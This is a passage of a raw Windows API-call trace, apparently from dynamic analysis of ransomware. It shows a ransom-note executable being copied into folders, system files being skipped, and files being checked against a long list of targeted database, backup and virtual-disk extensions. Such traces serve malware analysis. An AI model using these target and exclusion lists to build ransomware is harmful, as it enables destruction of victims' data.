(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0111.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0111.680] GetLastError () returned 0x0 [0111.681] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0111.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0111.681] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0111.681] CloseHandle (hObject=0xf4) returned 1 [0111.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.681] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0111.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0680c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0680c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0111.682] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.682] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.682] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0111.682] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0680c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0680c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.682] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.682] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.682] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0111.682] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0111.682] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0111.682] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0111.683] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0111.683] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0111.683] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0111.683] lstrlenW (lpString="1033") returned 4 [0111.683] lstrcpyW (in: lpString1=0x241e8b8, lpString2="1033" | out: lpString1="1033") returned="1033" [0111.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f598 [0111.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x5191a0 [0111.683] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0111.683] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0111.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".") returned 1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="..") returned 1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="windows") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootmgr") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="temp") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="pagefile.sys") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="boot") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ids.txt") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntuser.dat") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="perflogs") returned -1 [0111.686] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="MSBuild") returned -1 [0111.686] lstrlenW (lpString="ACECORE.DLL") returned 11 [0111.686] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACECORE.DLL" | out: lpString1="ACECORE.DLL") returned="ACECORE.DLL" [0111.686] lstrlenW (lpString="ACECORE.DLL") returned 11 [0111.686] lstrlenW (lpString="Athena865") returned 9 [0111.686] lstrcmpiW (lpString1="ECORE.DLL", lpString2="Athena865") returned 1 [0111.686] lstrlenW (lpString=".dll") returned 4 [0111.687] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".dll") returned 1 [0111.687] lstrlenW (lpString=".lnk") returned 4 [0111.687] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".lnk") returned 1 [0111.687] lstrlenW (lpString=".ini") returned 4 [0111.687] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".ini") returned 1 [0111.687] lstrlenW (lpString=".sys") returned 4 [0111.687] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".sys") returned 1 [0111.687] lstrlenW (lpString="ACECORE.DLL") returned 11 [0111.687] lstrlenW (lpString="bak") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0111.687] lstrlenW (lpString="ba_") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0111.687] lstrlenW (lpString="dbb") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0111.687] lstrlenW (lpString="vmdk") returned 4 [0111.687] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0111.687] lstrlenW (lpString="rar") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0111.687] lstrlenW (lpString="zip") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0111.687] lstrlenW (lpString="tgz") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0111.687] lstrlenW (lpString="vbox") returned 4 [0111.687] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0111.687] lstrlenW (lpString="vdi") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0111.687] lstrlenW (lpString="vhd") returned 3 [0111.687] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0111.687] lstrlenW (lpString="vhdx") returned 4 [0111.687] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0111.687] lstrlenW (lpString="avhd") returned 4 [0111.688] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0111.688] lstrlenW (lpString="db") returned 2 [0111.688] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0111.688] lstrlenW (lpString="db2") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0111.688] lstrlenW (lpString="db3") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0111.688] lstrlenW (lpString="dbf") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0111.688] lstrlenW (lpString="mdf") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0111.688] lstrlenW (lpString="mdb") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0111.688] lstrlenW (lpString="sql") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0111.688] lstrlenW (lpString="sqlite") returned 6 [0111.688] lstrcmpiW (lpString1="RE.DLL", lpString2="sqlite") returned -1 [0111.688] lstrlenW (lpString="sqlite3") returned 7 [0111.688] lstrcmpiW (lpString1="ORE.DLL", lpString2="sqlite3") returned -1 [0111.688] lstrlenW (lpString="sqlitedb") returned 8 [0111.688] lstrcmpiW (lpString1="CORE.DLL", lpString2="sqlitedb") returned -1 [0111.688] lstrlenW (lpString="xml") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0111.688] lstrlenW (lpString="$er") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0111.688] lstrlenW (lpString="4dd") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0111.688] lstrlenW (lpString="4dl") returned 3 [0111.688] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0111.688] lstrlenW (lpString="^^^") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0111.689] lstrlenW (lpString="abs") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0111.689] lstrlenW (lpString="abx") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0111.689] lstrlenW (lpString="accdb") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0111.689] lstrlenW (lpString="accdc") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0111.689] lstrlenW (lpString="accde") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0111.689] lstrlenW (lpString="accdr") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0111.689] lstrlenW (lpString="accdt") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0111.689] lstrlenW (lpString="accdw") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0111.689] lstrlenW (lpString="accft") returned 5 [0111.689] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0111.689] lstrlenW (lpString="adb") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.689] lstrlenW (lpString="adb") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0111.689] lstrlenW (lpString="ade") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0111.689] lstrlenW (lpString="adf") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0111.689] lstrlenW (lpString="adn") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0111.689] lstrlenW (lpString="adp") returned 3 [0111.689] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0111.690] lstrlenW (lpString="alf") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0111.690] lstrlenW (lpString="ask") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0111.690] lstrlenW (lpString="btr") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0111.690] lstrlenW (lpString="cat") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0111.690] lstrlenW (lpString="cdb") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0111.690] lstrlenW (lpString="ckp") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0111.690] lstrlenW (lpString="cma") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0111.690] lstrlenW (lpString="cpd") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0111.690] lstrlenW (lpString="dacpac") returned 6 [0111.690] lstrcmpiW (lpString1="RE.DLL", lpString2="dacpac") returned 1 [0111.690] lstrlenW (lpString="dad") returned 3 [0111.690] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0111.690] lstrlenW (lpString="dadiagrams") returned 10 [0111.690] lstrcmpiW (lpString1="CECORE.DLL", lpString2="dadiagrams") returned -1 [0111.690] lstrlenW (lpString="daschema") returned 8 [0111.690] lstrcmpiW (lpString1="CORE.DLL", lpString2="daschema") returned -1 [0111.690] lstrlenW (lpString="db-journal") returned 10 [0111.690] lstrcmpiW (lpString1="CECORE.DLL", lpString2="db-journal") returned -1 [0111.690] lstrlenW (lpString="db-shm") returned 6 [0111.690] lstrcmpiW (lpString1="RE.DLL", lpString2="db-shm") returned 1 [0111.690] lstrlenW (lpString="db-wal") returned 6 [0111.691] lstrcmpiW (lpString1="RE.DLL", lpString2="db-wal") returned 1 [0111.691] lstrlenW (lpString="dbc") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0111.691] lstrlenW (lpString="dbs") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0111.691] lstrlenW (lpString="dbt") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0111.691] lstrlenW (lpString="dbv") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0111.691] lstrlenW (lpString="dbx") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0111.691] lstrlenW (lpString="dcb") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0111.691] lstrlenW (lpString="dct") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0111.691] lstrlenW (lpString="dcx") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0111.691] lstrlenW (lpString="ddl") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0111.691] lstrlenW (lpString="dlis") returned 4 [0111.691] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0111.691] lstrlenW (lpString="dp1") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0111.691] lstrlenW (lpString="dqy") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0111.691] lstrlenW (lpString="dsk") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0111.691] lstrlenW (lpString="dsn") returned 3 [0111.691] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0111.692] lstrlenW (lpString="dtsx") returned 4 [0111.692] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0111.692] lstrlenW (lpString="dxl") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0111.692] lstrlenW (lpString="eco") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0111.692] lstrlenW (lpString="ecx") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0111.692] lstrlenW (lpString="edb") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0111.692] lstrlenW (lpString="epim") returned 4 [0111.692] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0111.692] lstrlenW (lpString="fcd") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0111.692] lstrlenW (lpString="fdb") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0111.692] lstrlenW (lpString="fic") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0111.692] lstrlenW (lpString="flexolibrary") returned 12 [0111.692] lstrlenW (lpString="fm5") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0111.692] lstrlenW (lpString="fmp") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0111.692] lstrlenW (lpString="fmp12") returned 5 [0111.692] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0111.692] lstrlenW (lpString="fmpsl") returned 5 [0111.692] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0111.692] lstrlenW (lpString="fol") returned 3 [0111.692] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0111.692] lstrlenW (lpString="fp3") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0111.693] lstrlenW (lpString="fp4") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0111.693] lstrlenW (lpString="fp5") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0111.693] lstrlenW (lpString="fp7") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0111.693] lstrlenW (lpString="fpt") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0111.693] lstrlenW (lpString="frm") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0111.693] lstrlenW (lpString="gdb") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.693] lstrlenW (lpString="gdb") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.693] lstrlenW (lpString="grdb") returned 4 [0111.693] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0111.693] lstrlenW (lpString="gwi") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0111.693] lstrlenW (lpString="hdb") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0111.693] lstrlenW (lpString="his") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0111.693] lstrlenW (lpString="ib") returned 2 [0111.693] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0111.693] lstrlenW (lpString="idb") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0111.693] lstrlenW (lpString="ihx") returned 3 [0111.693] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0111.693] lstrlenW (lpString="itdb") returned 4 [0111.694] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0111.694] lstrlenW (lpString="itw") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0111.694] lstrlenW (lpString="jet") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0111.694] lstrlenW (lpString="jtx") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0111.694] lstrlenW (lpString="kdb") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0111.694] lstrlenW (lpString="kexi") returned 4 [0111.694] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0111.694] lstrlenW (lpString="kexic") returned 5 [0111.694] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0111.694] lstrlenW (lpString="kexis") returned 5 [0111.694] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0111.694] lstrlenW (lpString="lgc") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0111.694] lstrlenW (lpString="lwx") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0111.694] lstrlenW (lpString="maf") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0111.694] lstrlenW (lpString="maq") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0111.694] lstrlenW (lpString="mar") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0111.694] lstrlenW (lpString="marshal") returned 7 [0111.694] lstrcmpiW (lpString1="ORE.DLL", lpString2="marshal") returned 1 [0111.694] lstrlenW (lpString="mas") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0111.694] lstrlenW (lpString="mav") returned 3 [0111.694] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0111.695] lstrlenW (lpString="maw") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0111.695] lstrlenW (lpString="mdbhtml") returned 7 [0111.695] lstrcmpiW (lpString1="ORE.DLL", lpString2="mdbhtml") returned 1 [0111.695] lstrlenW (lpString="mdn") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0111.695] lstrlenW (lpString="mdt") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0111.695] lstrlenW (lpString="mfd") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0111.695] lstrlenW (lpString="mpd") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0111.695] lstrlenW (lpString="mrg") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0111.695] lstrlenW (lpString="mud") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0111.695] lstrlenW (lpString="mwb") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0111.695] lstrlenW (lpString="myd") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0111.695] lstrlenW (lpString="ndf") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0111.695] lstrlenW (lpString="nnt") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0111.695] lstrlenW (lpString="nrmlib") returned 6 [0111.695] lstrcmpiW (lpString1="RE.DLL", lpString2="nrmlib") returned 1 [0111.695] lstrlenW (lpString="ns2") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0111.695] lstrlenW (lpString="ns3") returned 3 [0111.695] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0111.696] lstrlenW (lpString="ns4") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0111.696] lstrlenW (lpString="nsf") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0111.696] lstrlenW (lpString="nv") returned 2 [0111.696] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0111.696] lstrlenW (lpString="nv2") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0111.696] lstrlenW (lpString="nwdb") returned 4 [0111.696] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0111.696] lstrlenW (lpString="nyf") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0111.696] lstrlenW (lpString="odb") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.696] lstrlenW (lpString="odb") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.696] lstrlenW (lpString="oqy") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0111.696] lstrlenW (lpString="ora") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0111.696] lstrlenW (lpString="orx") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0111.696] lstrlenW (lpString="owc") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0111.696] lstrlenW (lpString="p96") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0111.696] lstrlenW (lpString="p97") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0111.696] lstrlenW (lpString="pan") returned 3 [0111.696] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0111.697] lstrlenW (lpString="pdb") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0111.697] lstrlenW (lpString="pdm") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0111.697] lstrlenW (lpString="pnz") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0111.697] lstrlenW (lpString="qry") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0111.697] lstrlenW (lpString="qvd") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0111.697] lstrlenW (lpString="rbf") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0111.697] lstrlenW (lpString="rctd") returned 4 [0111.697] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0111.697] lstrlenW (lpString="rod") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0111.697] lstrlenW (lpString="rodx") returned 4 [0111.697] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0111.697] lstrlenW (lpString="rpd") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0111.697] lstrlenW (lpString="rsd") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0111.697] lstrlenW (lpString="sas7bdat") returned 8 [0111.697] lstrcmpiW (lpString1="CORE.DLL", lpString2="sas7bdat") returned -1 [0111.697] lstrlenW (lpString="sbf") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0111.697] lstrlenW (lpString="scx") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0111.697] lstrlenW (lpString="sdb") returned 3 [0111.697] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0111.698] lstrlenW (lpString="sdc") returned 3 